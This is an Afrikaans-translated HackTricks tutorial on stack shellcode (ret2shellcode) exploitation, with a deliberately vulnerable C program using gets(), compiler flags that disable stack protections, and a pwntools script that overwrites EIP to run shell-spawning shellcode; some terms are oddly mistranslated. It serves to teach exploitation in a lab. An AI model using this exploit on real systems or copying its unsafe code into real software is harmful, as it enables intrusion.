hacktricks/binary-exploitation/stack-overflow/stack-shellcode.md

7 KiB

Staprooskode

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Staprooskode is 'n tegniek wat gebruik word in binêre uitbuiting waar 'n aanvaller staprooskode skryf na 'n kwesbare program se stokperdjie en dan die Instruksieaanwyser (IP) of Uitgebreide Instruksieaanwyser (EIP) wysig om na die plek van hierdie staprooskode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre bevele op 'n teikensisteem uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende uitbuiting met Python en pwntools kan skryf.

C-voorbeeld: 'n Kwesbare Program

Kom ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C-program:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Hierdie program is vatbaar vir 'n buffer overflow as gevolg van die gebruik van die gets() funksie.

Kompilasie

Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n vatbare omgewing te simuleer), kan jy die volgende bevel gebruik:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Deaktiveer stapelbeskerming.
  • -z execstack: Maak die stapel uitvoerbaar, wat nodig is vir die uitvoering van shellcode wat op die stapel gestoor word.
  • -no-pie: Deaktiveer Posisioneel Onafhanklike Uitvoerbare, wat dit makliker maak om te voorspel waar ons shellcode geleë sal wees.
  • -m32: Kompileer die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoudigheid in uitbuitingsontwikkeling.

Python Uitbuit met behulp van Pwntools

Hier is hoe jy 'n uitbuit in Python kan skryf met behulp van pwntools om 'n ret2shellcode aanval uit te voer:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Hierdie skrip konstrueer 'n lading wat bestaan uit 'n NOP-glybaan, die shellcode, en dan oorskryf die EIP met die adres wat na die NOP-glybaan wys, om te verseker dat die shellcode uitgevoer word.

Die NOP-glybaan (asm('nop')) word gebruik om die kans te verhoog dat die uitvoering in ons shellcode "gly" ongeag die presiese adres. Pas die p32() argument aan na die beginadres van jou buffer plus 'n offset om in die NOP-glybaan te land.

Beskermings

  • ASLR moet gedeaktiveer word sodat die adres betroubaar oor uitvoerings heen is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n lek nodig hê om uit te vind waar die wenfunksie gelaai is.
  • Stapelkanaries moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP terugkeeradres nooit gevolg word nie.
  • NX stapel beskerming sal die uitvoering van die shellcode binne die stapel voorkom omdat daardie gebied nie uitvoerbaar sal wees nie.

Ander Voorbeelde & Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: